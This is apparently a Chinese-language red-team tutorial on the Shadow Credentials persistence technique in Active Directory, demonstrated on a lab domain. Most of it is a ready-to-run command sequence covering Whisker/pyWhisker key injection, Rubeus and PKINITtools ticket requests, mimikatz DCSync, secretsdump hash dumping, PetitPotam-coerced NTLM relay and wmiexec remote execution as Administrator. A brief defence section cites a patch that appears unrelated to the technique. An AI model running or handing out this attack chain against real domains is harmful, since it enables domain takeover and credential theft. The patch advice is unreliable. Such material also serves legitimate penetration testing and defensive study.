红队域渗透权限维持技术:Shadow Credentials
字数 1383 2025-08-06 23:10:27
红队域渗透权限维持技术:Shadow Credentials 详细教学
0x00 概念与原理
基本概念
Shadow Credentials是一种通过修改目标对象(用户或计算机)的msDS-KeyCredentialLink属性来实现持久和隐蔽访问的权限维持技术。该技术利用Windows活动目录中用户和计算机对象的msDS-KeyCredentialLink属性,该属性可以存储原始公钥。
核心原理
当使用PKINIT进行预认证时,KDC会检查认证用户是否拥有匹配的私钥。如果有匹配项,KDC将发送TGT票据,从而实现对目标对象的持久访问。
PKINIT详解
PKINIT是Kerberos协议的扩展协议,允许在预认证阶段使用非对称密钥加密:
- 证书信任模型:基于数字证书链验证
- 密钥信任模型:基于原始密钥数据,公钥存储在
msDS-KeyCredentialLink属性中
0x01 利用条件
权限要求
以下用户可修改msDS-KeyCredentialLink属性:
- 域管理员(Domain Admins组成员)
- 具有GenericAll或GenericWrite权限的用户
- Enterprise Key Admins组成员
- Key Admins组成员
- 机器账户(仅能修改自身)
目标环境要求
- 域控制器版本:Windows Server 2016及以上
- 域控制器或其它服务器上安装Active Directory证书服务(AD CS)
0x02 攻击工具准备
主要工具
- Whisker:用于修改
msDS-KeyCredentialLink属性 - pyWhisker:域外主机执行攻击的Python实现
- Rubeus:申请TGT票据
- PKINITtools:通过KDC身份验证
- ntlmrelayx.py:结合NTLM Relay实现强制认证
0x03 攻击方法详解
方法一:域内机器修改影子凭证
1. 使用Whisker修改属性
# 添加Shadow Credentials
Whisker.exe add /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab
# 列出属性
Whisker.exe list /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab
# 删除属性
Whisker.exe remove /target:DC2016$ /deviceid:33d43eb3-3cb2-4e63-ba92-7de00af46505
2. 使用Rubeus申请TGT
Rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /nowrap /ptt
3. 票据利用
DCSync攻击:
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit"
CIFS服务票据远程访问:
Rubeus.exe s4u /self /impersonateuser:REDTEAM\Administrator /altservice:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:[value] /nowrap
dir \\DC2016.redteam.lab\c$
4. 权限维持
转存为kirbi文件:
[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("BASE64_STRING"))
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
转存为ccache文件:
rubeustoccache.py [base64_input] test.kirbi test.ccache
KRB5CCNAME=test.ccache python3 secretsdump.py -k redteam.lab/DC2016\$@DC2016.redteam.lab -no-pass -just-dc
方法二:域外机器修改影子凭证
1. 使用pyWhisker修改属性
python3 pywhisker.py -d "redteam.lab" -u "mark" -p "123.com" --target "DC2016$" --action "add" --filename dc2016
2. 使用pfx证书申请TGT
python3 gettgtpkinit.py -cert-pfx dc2016.pfx -pfx-pass JdhrfLCa3OMQJwfK8YhS redteam.lab/DC2016$ DC2016.ccache
3. 票据利用
DCSync导出Hash:
KRB5CCNAME=DC2016.ccache python3 secretsdump.py -k redteam.lab/DC2016\$@DC2016.redteam.lab -just-dc -no-pass
申请CIFS访问票据:
python3 gets4uticket.py kerberos+ccache://redteam.lab\\DC2016\$:DC2016.ccache@DC2016.redteam.lab cifs/DC2016.redteam.lab@redteam.lab Administrator@redteam.lab Administrator.ccache -v
KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
方法三:影子凭证强制认证
1. 启动监听
python3 ntlmrelayx.py -t ldap://10.10.2.20 --remove-mic --shadow-credentials --shadow-target SERVER2016$
2. 执行NTLM Relay攻击
python3 PetitPotam.py -u mark -p 123.com -d redteam.lab 10.10.2.77 SERVER2016.redteam.lab
3. 申请TGT票据
python3 gettgtpkinit.py -cert-pfx SERVER2016.pfx -pfx-pass qOBBCYvuLnELkIS7sBAt redteam.lab/SERVER2016$ SERVER2016.ccache
4. 申请CIFS访问票据
python3 gets4uticket.py kerberos+ccache://redteam.lab\\SERVER2016\$:SERVER2016.ccache@DC2016.redteam.lab cifs/SERVER2016.redteam.lab@redteam.lab Administrator@redteam.lab Administrator.ccache -v
5. 使用票据远程访问
KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@SERVER2016.redteam.lab -no-pass -dc-ip 10.10.2.25
0x04 防御建议
- 权限控制:严格限制对
msDS-KeyCredentialLink属性的修改权限 - 监控检测:
- 监控对
msDS-KeyCredentialLink属性的异常修改 - 检测异常的PKINIT认证请求
- 监控对
- 补丁更新:安装KB957097等安全补丁
- 配置加固:
- 启用LDAP签名和加密
- 限制NTLM使用
- 审计日志:加强Kerberos和AD变更的日志记录与分析
0x05 总结
Shadow Credentials技术提供了一种隐蔽的权限维持方法,通过操纵AD对象的密钥凭证属性实现持久访问。防御方需要从权限控制、监控检测和配置加固等多方面进行防护,同时保持对AD环境变更的高度警觉。